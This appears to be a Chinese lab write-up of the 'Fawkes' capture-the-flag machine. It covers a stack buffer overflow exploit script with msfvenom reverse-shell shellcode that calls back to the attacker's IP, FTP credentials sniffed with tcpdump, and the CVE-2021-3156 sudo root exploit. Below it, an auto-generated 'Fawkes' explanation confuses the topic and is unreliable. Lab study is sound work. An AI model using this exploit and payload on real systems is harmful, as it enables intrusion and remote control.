11、Fawkes

难度 高

目标 2个root 3个flag

当我看到这种类型我就知道肯定是docker系列的连锁环境了

netdiscover -i eth0 -r 192.168.189.0/24

kali 192.168.189.58 靶机 192.168.189.69

扫描一下开放的端口和服务识别

应该是存在ftp 的匿名访问,然后还有一个monkeycom?好奇怪的服务在网上找了一下好像是很老的服务都没有什么相关的介绍,另外有两个ssh我估计使用其中有docker服务的ssh端口被映射出来了

ftp 192.168.189.69

ftp>get server_hogwarts

匿名访问到发ftp目录下面有一个文件,下载查看使用elf的文件

顺便访问一下这个web服务,ftp匿名访问也没找到什么利用方式,除了可以上传文件?

尝试运行了一下这个server的文件,发现他会开启一个9889的端口,估计可能和靶机上面的9898端口有关系,还有这个nmap扫描出来的结果

有点抽象,不知道在玩什么名堂

访问网站就一张哈利波特的图片

扫了一下目录没有扫出东西来?只剩下ssh端口爆破没有尝试了,ssh弱口令我是认为希望不大的,没什么思路了,看一下wp

看了一眼。。。原来是要nc访问9898,我就说怎么找不到输入命令的地方,看前面的这个翻译就像是交互的shell一样

现在本地启动一下这个服务

nc 127.0.0.1 9898 连接一下

发现真就是在对话没有其他的功能点了。

wp中说是缓存区溢出漏洞,本来有点打算换一个靶机打的,不过最近正好有学习一些免杀的知识同时也接触了汇编刚好看得懂一点这种反汇编的内容

因为kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。所以需要先把这个关闭

cd /proc/sys/kernel

echo 0 > randomize_va_space

值为2是开启,值为0为关闭

然后启动server_的服务,然后打开这个edb程序,在file 选择attack找到server_,这个server_要用kali的用户启动,否则edb还打不开没权限

再点击上面那个run

然后就可以使用nc来连接了

为了测试缓存区溢出可以使用命令生成500个A,然后输入这500个A来测试

python -c "print('A'*500)"

输入500个A然后程序报错了

点击ok后eip被覆盖为了41414141

EIP寄存器存储的是下一个指令的内存地址(可以理解为调试工具需要根据EIP才知道下一个调试的指令),而ESP存储器存储的是是的具体指令,

攻击思路,可以使eip的值实现jmp跳转到esp空间,然后esp中填充我们的恶意shellcode

接下里是确定溢出的位置

首先使用一个msf的小脚本进行生成各不相同的字符

msf-pattern_create -l 500

然后拿得到的字符再次去输入(重启一下这个server_)

此时的报错变成了0x064413764,这个位置很有可能就是溢出的位置

然后使用另一个msf小脚本进行计算一下这个溢出的位置也就是偏移值是多少

msf-pattern_offset -l 500 -q 64413764

也就是从113开始后面4个就是写入到eip的值

为了验证可以使用一个输入112个A加4个B然后加一堆C

0x42就是B,eip的位置被B覆盖了,而esp全是C,这可以证明溢出位置就是B所在的地方

找到了溢出的位置这个时候就需要寻找一个跳转esp的指令,也就是 jmp esp这样的指令找到对应的内存地址,然后让eip写入这个内存地址这样就可以实现下一步跳到esp,而esp的空间保存了很多的C,这部分空间可以用来写入反弹shell的16进制shellcode用来反弹shell

在重新加载程序后,使用插件plugins中的Opcodesearcher里的Opcode search

然后选择esp->eip 即esp的内存地址做为eip的值 然后左边选择 r-x 要有x的权限的进程

然后find

可以找到一个jmp esp 的指令

然后记录下这个地址

0x08049d55 但是机器指令是反着读入的,所以在写的时候需要由高位写到低位 \x55\x9d\x04\x08

使用msfvenom生成反弹shell的payload

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.81.58 LPORT=4444 -b "\x00" -f python //这里的-b "\x00" 的作用是去除生成的payload中的\x00 ,这个\x00是终止字符,也被称为坏字节,程序遇到\x00可能会终止,为了防止意外需要将这个去除。 -f 就是格式是python的格式

然后写个套接字tcp连接的python脚本用来发送payload

Python2的脚本

import sys,socket



buf =  b""
buf += b"\xbd\xd4\x75\x45\x10\xdb\xc1\xd9\x74\x24\xf4\x58"
buf += b"\x33\xc9\xb1\x12\x31\x68\x12\x83\xc0\x04\x03\xbc"
buf += b"\x7b\xa7\xe5\x0d\x5f\xd0\xe5\x3e\x1c\x4c\x80\xc2"
buf += b"\x2b\x93\xe4\xa4\xe6\xd4\x96\x71\x49\xeb\x55\x01"
buf += b"\xe0\x6d\x9f\x69\x33\x25\x0e\x53\xdb\x34\xb1\xb2"
buf += b"\x47\xb0\x50\x04\x11\x92\xc3\x37\x6d\x11\x6d\x56"
buf += b"\x5c\x96\x3f\xf0\x31\xb8\xcc\x68\xa6\xe9\x1d\x0a"
buf += b"\x5f\x7f\x82\x98\xcc\xf6\xa4\xac\xf8\xc5\xa7"

payload = 'A' * 112 + '\x55\x9d\x04\x08' + '\x90' * 32 + buf  //这里\x90是nop,程序运行到这里会自动向下走不会有任何的作用,这里添加32的作用是为了提高容错率,防止代码连在一起发生什么意外的错误。
try:
    s = socket.socket()
    s.connect(('127.0.0.1', 9898))
    s.send((payload))
    s.close()
except:
    print('wrong')
    sys.exit()

运行此脚本成功将shell反弹了回来

成功的利用脚本将shell弹回,可以拿到靶机上使用了

kali 192.168.81.58 靶机 192.168.81.69

修改目标地址后运行脚本,成功将shell反弹回来了

为了维持权限建立msf的链接

ls -al / 查看一下目录,发现docker

确定此时在docker容器中

然后查看一下家目录下面有没有什么可以用来提权的有用的信息

发现一个.mycreds.txt

很有可能是ssh密码 HarrYp0tter@Hogwarts123

而且2222端口也是ssh估计就是这个docker的ssh

尝试发现果然是的

然后尝试提权,首先尝试sudo看是否被设置为可以直接切换root的权限

尝试了一下发现可以直接提权到root

有了root权限继续看看他的家里有什么

有一个flag和一个提示,提示说需要我们去分析流量,搞清楚user

这里是命令行所以只能使用比较原始的抓包工具 tcpdump

tcpdump -i eth0 port 21 #这里指定抓21端口的包 ,指定网卡eth0

等待一段时间后抓到了一段数据包

在数据包中可以看到172.17.0.1在向这个的21端口建立ftp的链接,其中用户名和密码明文传输

neville bL!Bsg3k

直接尝试登录ssh

也是直接登录成功了

尝试一下sudo发现要密码提升不了

然后发现第二个魂器

通过msf的自动提权模块发现了两个可以使用的模块

其中一个尝试后发现不行,但是另一个CVE-2021-3156 好像可以但是需要修改点东西

CVE-2021-3156,该漏洞被命名为“Baron Samedit”

影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2)

看着靶机也都符合漏洞攻击的版本的

然后尝试在github上面寻找其他的相关利用exp

尝试了几个发现页不行,于是观察exp中的内容

exp GitHub - worawit/CVE-2021-3156: Sudo Baron Samedit Exploit

选择exploit_nss.py 脚本使用

查看脚本发现sudo的路径是usr/bin/sudo

但是靶机上面的sudo在usr/local/bin/sudo

估计是作者故意的

修改完后使用nc将脚本传过去

靶机 nc -lvnp 4444 > exp.py

kali nc 192.168.81.69 4444 < exploit_nss.py -w 1 #-w表示传输完后一秒断开连接

执行脚本

成功提权为root

        拿到最后一个魂器,最后哈利波特打败了伏地魔

        在这次的靶机中学到很多的知识点,首先是缓存区溢出漏洞,虽然这应该是最简单的缓存区溢出漏洞的形式,但是我对这方面基本上没怎么了解过,也是学到了很多。另外就是流量分析,这方面倒是学过很多相关的知识只是也是用的比较少,最后是对于exp的修改,将其修改为符合目标环境的这种能力还有待提高。

  • 13
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fawkes是一种隐私保护工具,它的基本原理是使用虚拟化技术来保护用户的隐私。虚拟化是一种将物理实体转化为逻辑对应物的技术,它可以在一台物理机器上同时运行多个虚拟机。Fawkes利用虚拟化技术,在用户的设备上创建一个隐私保护的环境,将用户的数据和行为进行虚拟化处理,以保护用户的隐私。通过对数据和行为进行虚拟化处理,Fawkes可以防止潜在的隐私泄露风险,同时保护用户的个人信息、隐私偏好和行为数据不被滥用。Fawkes的基本原理是将用户的数据和行为虚拟化处理,从而保护用户的隐私。同时,Fawkes还采用了一些技术手段来保证写操作的顺利执行,例如设置了一个互斥信号量来保证写优先。这样可以保障在读文件源源不断的情况下,写操作能够正常进行。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [从“健康码”到数字货币,我国金融科技正迈向新阶段](https://blog.csdn.net/Digquant/article/details/115549849)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [2020-08-30](https://blog.csdn.net/Fawkess/article/details/108312214)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值